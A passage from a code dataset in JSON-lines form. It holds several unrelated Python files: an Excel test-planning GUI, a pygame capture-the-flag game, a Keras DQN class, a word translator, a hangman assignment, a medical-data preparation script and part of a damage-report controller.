wb.sheetnames\n sheets = sheets[2:]\n for each_sheet in sheets:\n current_sheet = wb[each_sheet]\n for col in current_sheet.iter_cols(max_col=1, values_only=True):\n tcs = col\n tcs = tcs[1:]\n # print(tcs)\n r = 2\n for each in tcs:\n var = each.find(\",\")\n print(each)\n print(var)\n multi_tcs = []\n if var > 0:\n multi_tcs = each.split(\",\")\n print(multi_tcs)\n current_sheet.cell(row=r, column=1).value = multi_tcs[0]\n print(current_sheet.cell(row=r, column=1).value)\n r += 1\n print(r, \" inside\")\n current_sheet.insert_rows(idx=r, amount=len(multi_tcs)-1)\n for i in range(1, len(multi_tcs)):\n print(i)\n current_sheet.cell(row=r, column=1).value = multi_tcs[i]\n print(current_sheet.cell(row=r, column=1).value)\n print(multi_tcs[i])\n r += 1\n print(r, \" ineer loop\")\n else:\n r += 1\n print(r, \" outside\")\n for col in current_sheet.iter_cols(max_col=1, values_only=True):\n tcs = col\n tcs = tcs[1:]\n current_sheet.delete_cols(idx=1)\n # print(cols)\n unique_tc = []\n for each in tcs:\n if each in unique_tc:\n pass\n else:\n unique_tc.append(each)\n r = 2\n current_sheet.cell(row=1, column=1).value = each_sheet + \\\n \"(\" + str(len(unique_tc))+\")\"\n for each in unique_tc:\n current_sheet.cell(row=r, column=1).value = each\n r += 1\n wb.save(filename=current_path + \"\\\\\" +\n temp.get())\n messagebox.showinfo('Message title', 'Succesfully done S2')\n\n\nbtn2 = ttk.Button(master=frame_3, text=\"Proceed2\",\n command=Remove_Dup)\nbtn2.pack()\n\nlb6 = ttk.Label(master=frame_3, relief=RAISED, justify=LEFT,\n text=\"S3.Will map component to all unique TCs to new \\\"Unique_TC\\\" sheet in Planned workbook from temp.xlsx workbook.\", foreground=\"white\", background=\"#2F4F4F\")\nlb6.pack()\n\n\ndef Copy_Unique():\n wb_from = load_workbook(filename=current_path + \"\\\\\" +\n temp.get())\n wb_to = load_workbook(\n filename=current_path + \"\\\\\" + plan_workook.get())\n sheets = wb_from.sheetnames\n sheets = sheets[1:]\n print(sheets)\n # new_sheet=wb1.create_sheet(fr[platform])\n Unique = wb_to.create_sheet(\"Unique_TC\")\n planned_tcs = []\n component_sheet = wb_from[sheets[0]]\n \n all_unique_tc = []\n compo_row=2\n compo_max=component_sheet.max_row\n while compo_row<=compo_max:\n t=component_sheet.cell(row=compo_row,column=1).value\n if t in all_unique_tc:\n pass\n else:\n all_unique_tc.append(t)\n compo_row+=1\n tc_with_component_rows = component_sheet.max_row\n Unique.cell(row=1, column=1).value = \"Test Script ID\"\n Unique.cell(row=1, column=2).value = \"Component\"\n #Compoent mapping to testcases\n r = 2\n for each in all_unique_tc:\n Unique.cell(row=r, column=1).value = each\n final_comp = []\n cur_row = 2\n while cur_row <= tc_with_component_rows:\n tc = component_sheet.cell(row=cur_row, column=1).value\n comp = component_sheet.cell(row=cur_row, column=2).value\n if tc == each:\n #final_comp = final_comp+\",\" + comp\n final_comp.append(comp)\n cur_row += 1\n final_comp = set(final_comp)\n final_comp = list(final_comp)\n final_comp = \",\".join(final_comp)\n Unique.cell(row=r, column=2).value = final_comp\n r += 1\n wb_to.save(\n filename=current_path + \"\\\\\" + plan_workook.get())\n #mapping planed testcases across all platforms\n #print(all_unique_tc)\n sheets = sheets[1:]\n unique_rows = Unique.max_row\n c = 4\n for each_sheet in sheets:\n print(each_sheet)\n current_sheet = wb_from[each_sheet]\n print(current_sheet)\n tcs = []\n for col in current_sheet.iter_cols(max_col=1, min_col=1, values_only=True):\n tcs = col\n\n Unique.cell(row=1, column=c).value = tcs[0]\n tcs = list(tcs[1:])\n print(tcs)\n for each_tc in tcs:\n indx = all_unique_tc.index(each_tc)\n Unique.cell(row=indx+2, column=c).value = \"Yes\"\n c += 1\n wb_to.save(\n filename=current_path + \"\\\\\" + plan_workook.get())\n messagebox.showinfo('Message title', 'Succesfully done S3')\n\n\nbtn3 = ttk.Button(master=frame_3, text=\"Proceed3\",\n command=Copy_Unique)\nbtn3.pack()\n\nlb7 = ttk.Label(master=frame_3, relief=RAISED, justify=LEFT,\n text=\"S4.Will convert xls workook to xlsx format and will map each TCs to respective Test Type and Applicable or Not Applicabe for respective platform.\", foreground=\"white\", background=\"#2F4F4F\")\nlb7.pack()\n###########################################################################################################\nframe_4 = ttk.Frame()\nlb8 = ttk.Label(\n master=frame_4, text=\"Enter the Name of Script Mapping Workook i.e downloaded from Automaics\")\nlb8.grid(column=0, row=0)\n# lbl.pack()\nscript_mapping_from = ttk.Entry(master=frame_4, width=40)\nscript_mapping_from.grid(column=1, row=0)\nlb9 = ttk.Label(master=frame_4,\n text=\"Enter the Conversion workook name with xlsx format eg:Veera.xlsx\", foreground=\"black\")\nlb9.grid(column=0, row=1)\nscript_mapping_to = ttk.Entry(master=frame_4, width=40)\nscript_mapping_to.grid(column=1, row=1)\n\n\ndef Conversion():\n file_name = current_path + \"\\\\\" + script_mapping_from.get()\n print(file_name)\n final_name = current_path + \"\\\\\" + script_mapping_to.get()\n print(final_name)\n excel = win32.gencache.EnsureDispatch('Excel.Application')\n wb = excel.Workbooks.Open(file_name)\n wb.SaveAs(final_name, FileFormat=51)\n wb.Close()\n messagebox.showinfo(\n 'Message title', 'Succesfully Converted to xlsx format')\n\n\ndef Mapping():\n Conversion()\n wb_from = load_workbook(\n filename=current_path + \"\\\\\" + plan_workook.get())\n wb_to = load_workbook(filename=current_path + \"\\\\\" +\n script_mapping_to.get())\n print(wb_to.sheetnames)\n #mapping Testtype of component \n map_sheet = wb_to[\"Sheet1\"]\n Auto_tcs=[]\n for col in map_sheet.iter_cols(max_col=1, min_col=1, values_only=True):\n col = col\n Auto_tcs = list(col)\n planned_sheet = wb_from[\"Unique_TC\"]\n planned_sheet.cell(row=1,column=3).value=\"Test Type\"\n unq_row=2\n unq_max=planned_sheet.max_row\n t=\"\"\n while unq_row<=unq_max:\n t=planned_sheet.cell(row=unq_row,column=1).value\n if t in Auto_tcs:\n indx=Auto_tcs.index(t)\n planned_sheet.cell(row=unq_row,column=3).value=map_sheet.cell(row=indx,column=5).value\n else:\n planned_sheet.cell(row=unq_row,column=3).value=\"NA\"\n unq_row+=1\n wb_from.save(\n filename=current_path + \"\\\\\" + plan_workook.get())\n #mapping A/NA for planned TCs accross all platforms\n map_App = wb_to[\"Script_Mapping\"]\n for col in map_App.iter_cols(max_col=1, min_col=1, values_only=True):\n all_TC = col\n for row in map_App.iter_rows(max_row=1, min_row=1, values_only=True):\n headings = row\n run_on_models_col=headings.index(\"RUN ON MODELS\")+1\n print(run_on_models_col)\n platforms = [\"ARRIS-XB6\", \"TECH-XB6\", \"CISCO-XB3\",\n \"ARRIS-XB3\", \"PACE-XF3\", \"PACE-CFG3\", \"TECH-CBR\", \"TECH-XB7\"]\n # print(Auto_tcs)\n \n # print(wb_from.sheetnames)\n overall_column = 4\n for platform in platforms:\n print(\"*************Starting\"+platform +\n \"****************************************\")\n for each in planned_sheet.iter_cols(max_col=overall_column, min_col=overall_column, values_only=True):\n plan_tc = each\n plan_tc=list(plan_tc)\n print(plan_tc)\n li=[]\n li=plan_tc[0].split(\"(\")\n plan_tc=plan_tc[1:]\n planned_sheet.insert_cols(idx=overall_column+1, amount=1)\n r = 2\n counter = 0\n for each in plan_tc:\n tc=\"\"\n if type(each)==str and each==\"Yes\":\n tc=planned_sheet.cell(row=r,column=1).value\n test_type=planned_sheet.cell(row=r,column=3).value\n if tc in all_TC and test_type != \"NA\":\n ind = all_TC.index(tc)\n final = ind+1\n print(final)\n print(map_App.cell(row=final, column=1).value)\n Run_models = map_App.cell(row=final, column=run_on_models_col).value\n # print(Run_models)\n # print(Run_models)\n print(type(Run_models))\n final_list_platform = []\n if type(Run_models) == str:\n final_list_platform = list(Run_models.split(\"\\n\"))\n print(final_list_platform)\n if platform in final_list_platform:\n planned_sheet.cell(row=r, column=overall_column+1).value = \"A\"\n counter += 1\n else:\n planned_sheet.cell(row=r, column=overall_column+1).value = \"NA\"\n else:\n planned_sheet.cell(row=r, column=overall_column+1).value = \"NA\"\n if test_type == \"NA\":\n planned_sheet.cell(row=r, column=overall_column+1).value = \"NA\"\n r += 1\n planned_sheet.cell(row=1, column=overall_column +\n 1).value = \"A in \"+li[0] + \"(\" + str(counter) + \")\"\n overall_column = overall_column+2\n wb_from.save(\n filename=current_path + \"\\\\\" + plan_workook.get())\n messagebox.showinfo(\n 'Message title', 'Succesfully done S4 and Generated Automation Plan Successfully')\n window.destroy()\n\n\nframe_5 = ttk.Frame()\nbtn4 = ttk.Button(master=frame_5, text=\"Proceed4\",\n command=Mapping)\nbtn4.pack()\n####################################################################################################################\nframe_1.pack()\nframe_2.pack()\nframe_3.pack()\nframe_4.pack()\nframe_5.pack()\nwindow.mainloop()\n","sub_path":"Sprint_Plan_Final.py","file_name":"Sprint_Plan_Final.py","file_ext":"py","file_size_in_byte":15973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"581622522","text":"# free sprites courtesy of Sithjester\n\nimport pygame\nimport gamebox\n\npygame.mixer.music.load(\"sound.wav\")\npygame.mixer.music.play(-1)\n\nflag_sound = pygame.mixer.Sound(\"sound.wav\")\ngoal_sound = pygame.mixer.Sound(\"sound.wav\")\n\ncamera = gamebox.Camera(800,600)\nplayer_one_sheet = gamebox.load_sprite_sheet(\"http://untamed.wild-refuge.net/images/rpgxp/avengers/blackwidow.png\", 4, 4)\nplayer_two_sheet = gamebox.load_sprite_sheet(\"http://untamed.wild-refuge.net/images/rpgxp/avengers/steverogers.png\", 4, 4)\n\n#add monster sprite sheet\nmonster_sheet = gamebox.load_sprite_sheet(\"http://untamed.wild-refuge.net/images/rpgxp/avengers/hulk.png\", 4, 4)\n\n\nplayer_one_frame = 8\nplayer_two_frame = 4\n\n#starting frame of monster looking downards\nmonster_frame = 12\n\ntimer = 30*60\ndirection = 0\ncounter = 0\n\nplayer_one = gamebox.from_image(350, 300, player_one_sheet[player_one_frame])\nplayer_two = gamebox.from_image(450, 300, player_two_sheet[player_two_frame])\n\n#set monster between the two\nmonster = gamebox.from_image(400, 300, monster_sheet[monster_frame])\n# a monster should be bigger than both of them\nmonster.scale_by(1.5)\n\ntouched_monster = 0\n\n\n#blue.png is essentially the blue flag\nplayer_one_flag = [gamebox.from_image(50, 50, \"blue.png\")]\nplayer_one_flag[0].scale_by(0.15)\nplayer_one_goal = gamebox.from_color(100, 300, \"blue\", 10, 600) # goal line for player 1\nplayer_one_counter = 0\n\n\n#red.png is the red flag\nplayer_two_flag = [gamebox.from_image(750, 550, \"red.png\")]\nplayer_two_flag[0].scale_by(0.15)\nplayer_two_counter = 0\nplayer_two_goal = gamebox.from_color(700, 300, \"red\", 10, 600) # goal line for player 2\n\nplayer_one_has_flag = False\nplayer_two_has_flag = False\n\ngame_start = True\ngame_end = False\n\ndef tick(keys):\n global player_one_frame\n global player_two_frame\n global player_one_has_flag\n global player_two_has_flag\n global player_one_counter\n global player_two_counter\n global game_start\n global game_end\n global direction\n global counter\n global timer\n global monster_frame\n global monster_sheet\n global touched_monster\n\n if game_start:\n camera.clear(\"black\")\n beginning_title = gamebox.from_text(400, 250, \"CAPTURE THE FLAG\", \"Arial\", 46, \"white\")\n beginning_description = gamebox.from_text(400, 325, \"PRESS SPACEBAR TO BEGIN\", \"Arial\", 46, \"white\")\n\n camera.draw(beginning_title)\n camera.draw(beginning_description)\n\n if pygame.K_SPACE in keys:\n game_start = False\n\n else:\n timer -= 1\n\n camera.clear(\"green\")\n\n player_one_frame += 1\n player_two_frame += 1\n counter += 1\n\n #animate the monster so that he walks in place\n monster_frame +=1\n\n #adjusts hulks speed here.\n #make the monster move ahead\n monster.y +=20\n\n if monster.y == 800:\n monster.y = 0\n\n if monster_frame == 16:\n monster_frame = 12\n if player_one_frame == 12:\n player_one_frame = 8\n if player_two_frame == 8:\n player_two_frame = 4\n if counter % 5 == 0:\n player_one.image = player_one_sheet[player_one_frame+direction*10]\n player_two.image = player_two_sheet[player_two_frame+direction*10]\n #place the monster on screen\n monster.image = monster_sheet[monster_frame + direction*10]\n\n if pygame.K_RIGHT in keys:\n player_one.x += 10\n if pygame.K_LEFT in keys:\n player_one.x -= 10\n if pygame.K_UP in keys:\n player_one.y -= 10\n if pygame.K_DOWN in keys:\n player_one.y += 10\n\n if pygame.K_d in keys:\n player_two.x += 10\n if pygame.K_a in keys:\n player_two.x -= 10\n if pygame.K_w in keys:\n player_two.y -= 10\n if pygame.K_s in keys:\n player_two.y += 10\n\n\n # detect if player 2 touched monster\n if player_two.touches(monster):\n game_end = True\n touched_monster = 2\n\n # detect if player 1 touched monster\n if player_one.touches(monster):\n game_end = True\n touched_monster = 1\n\n\n for flag in player_one_flag:\n if player_two.touches(flag):\n flag_sound.play()\n player_two_has_flag = True\n player_one_flag.remove(flag)\n camera.draw(flag)\n for flag in player_two_flag:\n if player_one.touches(flag):\n flag_sound.play()\n player_one_has_flag = True\n player_two_flag.remove(flag)\n camera.draw(flag)\n\n if player_one.touches(player_one_goal) and player_one_has_flag:\n goal_sound.play()\n new_flag = gamebox.from_image(750, 550, \"red.png\")\n player_two_flag.append(new_flag)\n player_two_flag[0].scale_by(0.15)\n player_one_counter += 1\n player_one_has_flag = False\n\n if player_two.touches(player_two_goal) and player_two_has_flag:\n goal_sound.play()\n new_flag = gamebox.from_image(50, 50, \"blue.png\")\n player_one_flag.append(new_flag)\n player_one_flag[0].scale_by(0.15)\n player_two_counter += 1\n player_two_has_flag = False\n\n player_one_counter_text = gamebox.from_text(75, 75, str(player_one_counter), \"Arial\", 28, \"blue\", italic = True)\n player_two_counter_text = gamebox.from_text(775, 575, str(player_two_counter), \"Arial\", 28, \"red\", italic = True)\n timer_display = gamebox.from_text(400, 25, str(timer // 30) + \" seconds\", \"Arial\", 46, \"black\")\n\n camera.draw(player_one)\n camera.draw(player_two)\n #draw the monster on screen\n camera.draw(monster)\n camera.draw(player_one_goal)\n camera.draw(player_two_goal)\n camera.draw(player_one_counter_text)\n camera.draw(player_two_counter_text)\n camera.draw(timer_display)\n\n if timer == 0:\n game_end = True\n\n if game_end:\n camera.clear(\"black\")\n game_over_text = gamebox.from_text(400, 250, \"GAME OVER\", \"Arial\", 46, \"white\")\n continue_text = gamebox.from_text(400, 400, \"PRESS ENTER TO REPLAY\", \"Arial\", 46, \"white\")\n\n\n # player one had touched monster\n if touched_monster == 1:\n win_text = gamebox.from_text(400, 325, \"PLAYER 2 wins as PLAYER 1 was eaten by monster\", \"Arial\", 30, \"white\")\n # player 2 had touched monster\n elif touched_monster == 2:\n win_text = gamebox.from_text(400, 325, \"PLAYER 2 wins as PLAYER 1 was eaten by monster\", \"Arial\", 30, \"white\")\n elif player_one_counter > player_two_counter:\n win_text = gamebox.from_text(400, 325, \"PLAYER 1 WINS WITH \" + str(player_one_counter) + \" FLAGS\", \"Arial\", 46, \"white\")\n elif player_two_counter > player_one_counter:\n win_text = gamebox.from_text(400, 325, \"PLAYER 2 WINS WITH \" + str(player_two_counter) + \" FLAGS\", \"Arial\", 46, \"white\")\n else:\n win_text = gamebox.from_text(400, 325, \"TIE\", \"Arial\", 46, \"white\")\n\n camera.draw(game_over_text)\n camera.draw(win_text)\n camera.draw(continue_text)\n\n # reset the numbers\n if pygame.K_RETURN in keys:\n game_end = False\n game_start = True\n timer = 30 * 60\n player_one_counter = 0\n player_two_counter = 0\n touched_monster = 0\n player_one.x = 350\n player_one.y = 300\n player_two.x = 450\n player_two.y = 300\n\n camera.display()\n\nticks_per_second = 30\n\ngamebox.timer_loop(ticks_per_second, tick)\n\n\n","sub_path":"sprites/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":7682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"131092345","text":"# coding: utf-8\nfrom __future__ import division, print_function\nfrom numpy import pi\nimport numpy as np\nfrom numpy import random \nimport time\nfrom collections import deque\nimport os\nfrom keras.models import Sequential\nfrom keras.models import model_from_json\nfrom keras.layers import Dense, Conv1D\nfrom keras.layers.recurrent import LSTM\nfrom keras.optimizers import RMSprop\nfrom keras.optimizers import Adam\nfrom keras.utils import plot_model\nfrom collections import deque\nfrom keras import backend as K\nimport tensorflow as tf \n\nclass DQN:\n def __init__(self,current_id,learning_rate=0.01, state_size=4, action_size=2, hidden_size=64):\n self.state_size = state_size\n self.action_size = action_size\n self.model = Sequential()\n self.model.add(Dense(state_size,activation='relu',input_shape=(1,state_size)))\n self.model.add(Dense(hidden_size, activation='relu'))\n self.model.add(Dense(action_size, activation ='linear'))\n self.optimizer = Adam(lr=learning_rate) # 誤差を減らす学習方法はAdam\n self.model.compile(loss='mean_squared_error', optimizer=self.optimizer)\n self.id = current_id\n def replay(self,memory,batch_num,gamma,targetQN):\n state_minibatch = np.zeros((batch_num,self.state_size))\n y_minibatch = np.zeros((batch_num,self.action_size))\n batch = memory.sample(batch_num)\n\n for i in range(batch_num):\n #[ seq..., action, reward, seq_new]\n s_j= batch[i,0:self.state_size]\n a_j = int(batch[i,self.state_size])\n r_j = batch[i, self.state_size+1]\n s_dash_j= batch[i,(self.state_size+2):(self.state_size*2+2)].reshape(-1,1,self.state_size)\n y_j = self.model.predict(s_j.reshape(-1, 1,self.state_size))[0,0]\n y_j[a_j]=( r_j+ gamma * np.max(targetQN.model.predict(s_dash_j)))\n \n state_minibatch[i,:]=s_j\n y_minibatch[i,:]=y_j\n state_minibatch=state_minibatch.reshape(batch_num,1,self.state_size)\n y_minibatch=y_minibatch.reshape(batch_num,1,self.action_size)\n self.model.fit(state_minibatch, y_minibatch,batch_size=int(batch_num/10),epochs=10,verbose=0)\n loss = self.model.evaluate(state_minibatch, y_minibatch,batch_size=int(batch_num/10),verbose=0)\n return loss\n def load_model(self, name_y, name_w):\n f_model = '../data/'+self.id+'/trained_model'\n print('load model')\n json_string = open(os.path.join(f_model, name_y)).read()\n self.model = model_from_json(json_string)\n self.model.load_weights(os.path.join(f_model, name_w))\n def save_model(self,num_episode):\n f_model = '../data/'+self.id+'/trained_model'\n name_j = 'model%d.json'%num_episode\n name_y = 'model%d.yaml'%num_episode\n name_w = 'weights%d.hdf5'%num_episode\n json_string = self.model.to_json()\n yaml_string = self.model.to_yaml()\n print('save the architecture of a model')\n open(os.path.join(f_model,name_j), 'w').write(json_string)\n open(os.path.join(f_model,name_y), 'w').write(yaml_string)\n print('save weights')\n self.model.save_weights(os.path.join(f_model,name_w))","sub_path":"dqn/model/dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":3260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"64918534","text":"ldict={\r\n 'hello':'otai',\r\n 'hi':'oty',\r\n 'hey':'oai',\r\n 'meet':'reask',\r\n 'whatsup':'imitzio',\r\n 'good':'saiie',\r\n 'how':'roke',\r\n 'you':'oka',\r\n 'do':'irru',\r\n 'next':'iep',\r\n 'first':'oa',\r\n 'second':'ob',\r\n 'bye':'sotai',\r\n 'tell':'sapi',\r\n 'end':'rdn',\r\n 'and':'iu',\r\n 'see':'ryz',\r\n 'sea':'oli',\r\n 'water':'rias',\r\n 'building':'rumpa',\r\n 'attack':'shar',\r\n 'kill':'oiep',\r\n 'destory':'iros',\r\n 'capture':'suz',\r\n 'save':'imma',\r\n 'survive':'rive',\r\n 'hold':'oos',\r\n 'fly':'sakoz',\r\n 'to':'ot',\r\n}\r\nnew_key = input(\"Enter a word Translate form Englist to Alien or Alien to English: \")\r\noutput = 0\r\nfor key_word, value_word in ldict.items():\r\n if (key_word == new_key):\r\n output = value_word\r\n elif (value_word == new_key):\r\n output = key_word\r\nprint(output)\r\nif output == 0:\r\n for key_word, value_word in ldict.items():\r\n if not(key_word == output):\r\n new_value = input(\"Enter the meaning of the word: \")\r\n ldict[new_key] = new_value\r\n print(\"new word:\", new_key,\"\\nmeaing: \", new_value)\r\n break\r\n elif not(value_word == output):\r\n new_value = input(\"Enter the meaning of the word: \")\r\n ldict[new_key] = new_value\r\n print(\"new word:\", new_key,\"\\nmeaing: \", new_value)\r\n break","sub_path":"dict.py","file_name":"dict.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"147978788","text":"'''\nExercise : Assignment-2\nimplement the function hangman, which takes one parameter - the secret_word_giv\nthe user is to guess. This starts up an interactive game of Hangman between\nthe user and the computer. Be sure you take advantage of the three helper functions,\nisWordGuessed, getGuessedWord, and getAvailableLetters,\nthat you've defined in the previous part.\n'''\n# -----------------------------------\n# Helper code\n# You don't need to understand this helper code,\n# but you will have to know how to use the functions\n# (so be sure to read the docstrings!)\nimport random\ndef get_guessed_word(secret_word, letters_guessed):\n \"\"\"This function returns a string that is comprised of letters and underscores, based on what\n letters in letters_guessed are in secret_word.\"\"\"\n str1 = \"\"\n for i in secret_word:\n if i not in letters_guessed:\n str1 += \" _\"\n else:\n str1 += i\n return str1\n\ndef is_word_guessed(secret_word, letters_guessed):\n '''is word guessed? '''\n secret_set = set(secret_word)\n intersect = secret_set.intersection(set(letters_guessed))\n return bool(len(intersect) == len(secret_set))\ndef get_available_letters(letters_guessed):\n \"\"\"gives the available letters for guess \"\"\"\n import string\n a_list = list(string.ascii_lowercase)\n \n for i in letters_guessed:\n if i in a_list:\n a_list.remove(i)\n return \"\".join(a_list)\n\nWORD_LIST_FILENAME = \"words.txt\"\n\ndef load_words():\n \"\"\"\n Returns a list of valid words. Words are strings of lowercase letters.\n Depending on the size of the word list, this function may\n take a while to finish.\n \"\"\"\n print(\"Loading word list from file...\")\n # in_file: file\n in_file = open(WORD_LIST_FILENAME, 'r')\n # line: string\n line = in_file.readline()\n # WORD_LIST: list of strings\n word_list = line.split()\n print(\" \", len(word_list), \"words loaded.\")\n return word_list\n\ndef choose_word(word_list):\n \"\"\"\n WORD_LIST (list): list of words (strings)\n\n Returns a word from WORD_LIST at random\n \"\"\"\n return random.choice(word_list)\n\n# end of helper code\n# -----------------------------------\n\n# Load the list of words into the variable WORD_LIST\n# so that it can be accessed from anywhere in the program\nWORD_LIST = load_words()\n\ndef hangman(secret_word_giv):\n '''\n secret_word_giv: string, the secret word to guess.\n Starts up an interactive game of Hangman.\n * At the start of the game, let the user know how many\n letters the secret_word_giv contains.\n * Ask the user to supply one guess (i.e. letter) per round.\n * The user should receive feedback immediately after each guess\n about whether their guess appears in the computers word.\n * After each round, you should also display to the user the\n partially guessed word so far, as well as letters that the\n user has not yet guessed.\n Follows the other limitations detailed in the problem write-up.'''\n print(\"Welcome to the game, Hangman! \\n\")\n print(\"I am thinking of a word that is\", len(secret_word_giv), \"letters long.\")\n print(\"Please enter only one guess(letter) per round \\n-------------\")\n guess_count = 8\n letters_guessed = []\n while guess_count > 0 and (not is_word_guessed(secret_word_giv, letters_guessed)):\n print(\"You have\", guess_count, \"guesses left.\")\n print(\"Available letters:\", get_available_letters(letters_guessed))\n inp_user = input(\"Please guess a letter:\")\n the_guessed_word = get_guessed_word(secret_word_giv, letters_guessed)\n letters_guessed.append(inp_user)\n if inp_user in the_guessed_word:\n the_guessed_word = get_guessed_word(secret_word_giv, letters_guessed)\n print(\"Oops! You've already guessed that letter:\", the_guessed_word)\n print(\"\\n------------\")\n elif inp_user in secret_word_giv:\n #letters_guessed.append(inp_user)\n the_guessed_word = get_guessed_word(secret_word_giv, letters_guessed)\n print(\"Good guess\", the_guessed_word)\n print(\"\\n------------\")\n #guess_count -= 1\n elif inp_user not in secret_word_giv:\n #letters_guessed.append(inp_user)\n the_guessed_word = get_guessed_word(secret_word_giv, letters_guessed)\n print(\"Oops! That letter is not in my word:\", the_guessed_word)\n print(\"\\n------------\")\n guess_count -= 1\n if is_word_guessed(secret_word_giv, letters_guessed):\n print(\"Congratulations, you won!\")\n print(\"\\n------------\")\n else:\n print(\"Sorry, you ran out of guesses. The word was \" + secret_word_giv + \"\\n------------\")\ndef main():\n '''\n Main function for the given program\n When you've completed your hangman function, uncomment these two lines\n and run this file to test! (hint: you might want to pick your own\n secret_word_giv while you're testing)\n '''\n secret_word_giv = choose_word(WORD_LIST).lower()\n secret_word_giv = \"supriya\"\n hangman(secret_word_giv)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"cspp1-assignments/m10/p2/assignment2.py","file_name":"assignment2.py","file_ext":"py","file_size_in_byte":5116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"221719341","text":"han#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 21 10:49:08 2018\n\n@author: garethjones\n\"\"\"\n\n''' Import Dataset '''\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\ndirectory = '/Users/garethjones/Documents/Data Analysis/MRRH Oncology Analysis/'\nfile1 = 'Data/Oncology Dataset.csv'\nfile2 = 'Data/Screening Dataset.csv'\norigindata = pd.read_csv(directory+file1, encoding='utf-8')\nscreeningdata = pd.read_csv(directory+file2, encoding='ISO-8859-1')\n\n''' Create Global Variables '''\nbigcancers = ['Breast','KS','Prostate','Stomach','Esophagus']\npalette10 = ['#094675','#AD2E32','#F6E8A5','#A2CFAB','#FCC46B','#E7F5F6','#F8C2CD','#C9CACB','#713F6E','#DBC757']\nplt.rc('font',family='Calibri')\n\n'''Select Relevant Columns'''\ncolumns = ['enrol_d','gender','age','district','cancer','othercancertype','chemotype']\ndata = origindata[columns]\n\n'''Rename Column Headers and Capitalize'''\ndata.columns = ['Appt_Date','Gender','Age','District','Cancer_Type','Other_Cancer_Type','Chemo_Type']\ndata.Cancer_Type = data.Cancer_Type.str.title()\n\n''' Change date format and substring year/month info '''\ndata.loc[:,'Appt_Date'] = pd.to_datetime(data.loc[:,'Appt_Date'])\ndata = data.dropna(how='any',subset=['Appt_Date','Cancer_Type'])\ndata.Appt_Date = data.Appt_Date.apply(lambda x: x.strftime('%d%m%Y'))\nappt_year = []\nappt_month = []\nfor i in data.Appt_Date:\n appt_year.append(i[slice(4,8)])\n appt_month.append(i[slice(2,4)])\ndata['Appt_Year'] = appt_year\ndata['Appt_Month'] = appt_month\n\n''' Remove irrelevant years '''\ndata = data[data['Appt_Year']!='2011']\ndata = data[data['Appt_Year']!='2012']\ndata = data[data['Appt_Year']!='2018']\n\n''' Reorder Columns '''\ndata = data[['Appt_Date','Appt_Year','Appt_Month','Gender','Age','District','Cancer_Type','Other_Cancer_Type','Chemo_Type']]\n\n''' Reformat cancer names '''\nrename_dict = {'Ks':'KS',\n 'Non_Hodgkins_Lymphoma':'Non Hodgkins Lymphoma',\n 'Hodgkins_Lymphoma':'Hodgkins Lymphoma',\n 'Headneck':'Head & Neck',\n 'Rhaydomyo_Sarcoma':'Rhaydomyo Sarcoma',\n 'Yolk_Sac':'Yolk Sac',\n 'Castle_Mans':'Castle Mans',\n np.nan:'Unknown'}\ndata['Cancer_Type'] = data['Cancer_Type'].replace(rename_dict)\n\ndel columns,i,appt_year,appt_month,rename_dict\n\n","sub_path":"01. Data Preparation.py","file_name":"01. Data Preparation.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"284609434","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport services.controlers.loggControler\nfrom services.controlers.loggControler import LoggControler\nfrom services.exceptions import *\nfrom services.controlers.controler import Controler\nimport services.querys.damageReportQuery\nfrom services.querys.damageReportQuery import DamageReportQuery\nimport os\nimport hashlib\nimport re\nimport cgi\nimport urllib\nfrom services.tools import *\n\nclass DamageReportsControler(Controler):\n\tdef __init__(self):\n\t\ttry:\n\t\t\tqueryPath=\"services.querys.damageReportQuery.DamageReportQuery()\"\n\t\t\tloggMsg=\"DamageReportsControler\"\n\t\t\tinfoMsg=\"REPORTE_DE_DAÑOS\"\n\t\t\tsuper(DamageReportsControler, self).__init__(queryPath, loggMsg, infoMsg)\n\t\texcept Exception as e:\n\t\t\tloggControler = LoggControler()\n\t\t\tloggControler.addLogg('Controler: DamageReportsControler-__init__()', ERROR_NO_DEFINIDO, e.message)\n\n\tdef getByEventId(self, eventId):\n\t\tdamageReportList=[]\n\t\tstate = 300\n\t\ttry:\n\t\t\tobjs = self.queryObj.getByEventId(eventId)\n\t\t\tif objs.count():\n\t\t\t\tfor obj in objs:\n\t\t\t\t\tdamageReportList.append(obj.toDictFront())\n\t\t\tstate = OK\n\t\texcept Exception as e:\n\t\t\tloggControler = services.controlers.loggControler.LoggControler()\n\t\t\tloggControler.addLogg('Controler: '+self.loggMsg+'-getByEventId()', ERROR_NO_DEFINIDO, e.message)\t\n\t\treturn damageReportList, state\n\t\t\n\tdef\tgetByResource(self, resourceRef, resourceCode, sessionJson):\n\t\tdamageReportList=[]\n\t\tstate = 300\n\t\ttry:\n\t\t\tsessionJson[\"userTypeId\"] = int(sessionJson[\"userTypeId\"])\n\t\t\tsessionJson[\"companyIdSession\"] = int(sessionJson[\"companyIdSession\"])\n\t\t\tobjs = self.queryObj.getByResource(resourceRef, resourceCode, sessionJson[\"companyIdSession\"])\n\t\t\tif objs.count():\n\t\t\t\tfor obj in objs:\n\t\t\t\t\tdamageReportList.append(obj.toDictFront())\n\t\t\tstate = OK\n\t\texcept Exception as e:\n\t\t\tloggControler = services.controlers.loggControler.LoggControler()\n\t\t\tloggControler.addLogg('Controler: '+self.loggMsg+'-getByEventId()', ERROR_NO_DEFINIDO, e.message)\t\n\t\treturn damageReportList, state\n\n\n\tdef add(self, eventId, resourceRef, resourceCode, date, responsible, description, amount, \n\t\t\tstatusReportFound, cause, where, withWhat, how, signatureResponsable, \n\t\t\tsignatureCoordinator, 